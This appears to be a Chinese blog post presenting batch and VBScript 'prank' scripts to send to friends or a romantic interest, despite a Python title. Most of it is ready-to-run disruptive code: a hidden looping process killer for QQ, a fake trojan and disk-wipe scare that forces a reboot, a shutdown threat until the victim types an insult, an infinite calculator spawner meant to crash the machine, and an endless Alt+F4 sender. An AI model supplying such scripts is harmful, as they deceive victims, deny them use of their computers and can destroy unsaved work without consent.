Python實(shí)戰(zhàn)之整蠱神器合集加速友盡
導(dǎo)語
哈嘍！哈嘍！我是木木子，最近沉迷整蠱這種類型的代碼，特別有趣好玩！
雖然踩中了特別多的坑，但是越玩越上癮呀！這里整理了蠻多整蠱的代碼，好東西就是需要分享的嘛~
每周一招維護(hù)友誼的小秘訣，歡迎大家來到木木子新開的——友（zheng）愛（gu）小課堂！
今天木木子給大家?guī)砹藥讉€(gè)，整蠱朋友的辦法，趕快拉上至今還陪在你身邊的老鐵試一試這幾招吧！
如果是發(fā)給你喜歡的人的，肯定追著你！想讓女神/男神追著你跑嘛？那還不趕緊的學(xué)起來！
正文
Come On 我們來點(diǎn)有技術(shù)的！嘿嘿嘿~
（1）殺死ta的QQ。
@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:begin
tasklist |find /i "QQ.exe"
if %errorlevel%==0 (goto killit) else (goto next)
:killit
taskkill /f /im QQ.exe
:next
ping -n 3 127.t >nul 2>nul
goto begin
把以上代碼保存成txt格式，然后把后綴改成bat,然后雙擊運(yùn)行嘿嘿，那他的qq就不能運(yùn)行了喲~
（2）格式化磁盤。
@ color 4f @echo off echo 刪除計(jì)算機(jī)的C盤的所有文件...... ping 127.0.0.1 /n 2 >nul echo 已刪除完畢 echo. echo 刪除計(jì)算機(jī)的D盤的所有文件...... ping 127.0.0.1 /n 2 >nul echo 已刪除完畢 echo. echo 刪除計(jì)算機(jī)的E盤的所有文件...... ping 127.0.0.1 /n 2 >nul echo 已刪除完畢 @ color echo. echo. ========================================= echo. 啊哈哈，都刪關(guān)，都?xì)㈥P(guān)，哈哈 …… echo. ========================================= echo. 系統(tǒng)將馬上崩潰...... echo. 這是一個(gè)木馬程序......您的所有資料已經(jīng)傳到 XXXX@163.com shutdown /r /t 30 /c "電腦在30s內(nèi)即將崩潰,哈哈，你活該！" ntsd -c q -pn explorer.exe ping 127.0.0.1 /n 20 >nul start explorer.exe shutdown -a
將以上部分保存到txt格式，然后把后綴改成bat就可以運(yùn)行了，運(yùn)行后他的磁盤會(huì)被格式化。
當(dāng)然那是假的。。。用來嚇人的。。。希望你玩的愉快。。。
（3）讓ta說ta是豬。
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""說我是豬，不說我是豬就一分鐘關(guān)機(jī)，不信，試下···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說我是豬,就不關(guān)機(jī)，快撒，說 ""我是豬"" ","說不說","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"
新建一個(gè)記事本 把上面的代碼復(fù)制進(jìn)去 另存為VBE格式的就可以了，讓對方說 他是🐖。
（4）直接死機(jī)。
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
新建一個(gè)記事本 把上面的代碼復(fù)制進(jìn)去 另存為VBE格式的就可以了
打開無數(shù)個(gè)計(jì)算器，直到死機(jī)。
（5）一直說You are pig!
do msgbox "You are pig!" loop
(6) 重復(fù)說話200次。
Set WshShell = WScript.Createobject("WScript.Shell")
for i = 1 to 200
WScript.Sleep 1
WshShell.SendKeys"^v"
wshShell.SendKeys"{ENTER}"
next
（7）給我按200次回車。
for i = 0 to 200 msgbox "回車[滑稽]",64 next
（8）Alt+F4超可怕。
do
Set WshShell = WScript.Createobject("WScript.Shell")
WshShell.SendKeys "%{F4}" '%代表Alt'
loop
（9）問答形式。
a=msgbox "你是不是有點(diǎn)兒蠢?",vbOKCancel
if a = vbOK then
msgbox("確實(shí)有點(diǎn)兒！")
elseif a=vbCancel then
do
msgbox("蠢蠢的！")
loop
問答2——借錢的時(shí)候場景再現(xiàn)哈哈哈。
msgbox "你在嗎",vbQuestion,"在嗎"
msgbox ("我借你1w塊錢")
msgbox ("1個(gè)月給你")
msgbox ("不給，我就是PIG")
dim j
do while j<1
Select Case msgbox("借給我好嗎",68,"請鄭重的回答我")
Case 6 j=1
Case 7 msgbox("想好了再說")
end Select
loop
msgbox("我就知道你會(huì)同意的，哈哈哈哈")
（10）強(qiáng)制表白。
Dim Style, Title, Help, Ctxt,MyString '定義變量
Dim Msg1,Msg2,Msg3'定義消息文本
Dim Response '定義返回對象
Dim Msg()
redim Msg(4)
Msg(0)="做我女朋友好不好？"
Msg(1)="就知道你會(huì)說好！"
Msg(2)="你是我的小可愛嘞！"
Msg(3)="所以我必須是你的大可愛！"
Style=vbYesNo+vbInformation
Title="小姐姐是我的小可愛"
for i=0 to 3
Response=MsgBox(Msg(i),Style,Title)
If Response=vbYes Then ' 用戶選擇[是]
MyString="Yes" ' Perform some action.
Response=MsgBox("4號小姐姐搞定",vtOKonly,Title)
exit for
Else ' 用戶選擇[否].
MyString="No" ' Perform some action.
If i =3 Then
i=-1
End If
End If
Next
效果截圖——vbs運(yùn)行之后：
點(diǎn)擊否定按鈕會(huì)一直循環(huán)彈窗如下：
同意之后效果如下：
大部分的代碼的話我就沒截圖了哈！10組代碼的話我就僅展示一組效果！
其他的效果大家自己試試哦~肯定有驚喜滴！哈哈哈
番外篇——表白！
算了——再來一組番外篇給大家展示下效果哈，這組必須發(fā)給喜歡的女神看哈，抓住機(jī)會(huì)不要錯(cuò)過?。?！
點(diǎn)開就可以，不需要安裝啥子?xùn)|西， 有瀏覽器就可以啦~
總結(jié)
哈哈哈！拿代碼去跟小伙伴兒玩吧~不過這可能比較廢朋友，謹(jǐn)慎使用哈~
你們的支持是我最大的動(dòng)力?。ua 歡迎大家閱讀往期的文章哦~
到此這篇關(guān)于Python實(shí)戰(zhàn)之整蠱神器合集加速友盡的文章就介紹到這了,更多相關(guān)python 整蠱神器內(nèi)容請搜索本站以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持本站！
版權(quán)聲明：本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有，歡迎引用、轉(zhuǎn)載，請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站，禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像，否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來，僅供學(xué)習(xí)參考，不代表本站立場，如有內(nèi)容涉嫌侵權(quán)，請聯(lián)系alex-e#qq.com處理。
關(guān)注官方微信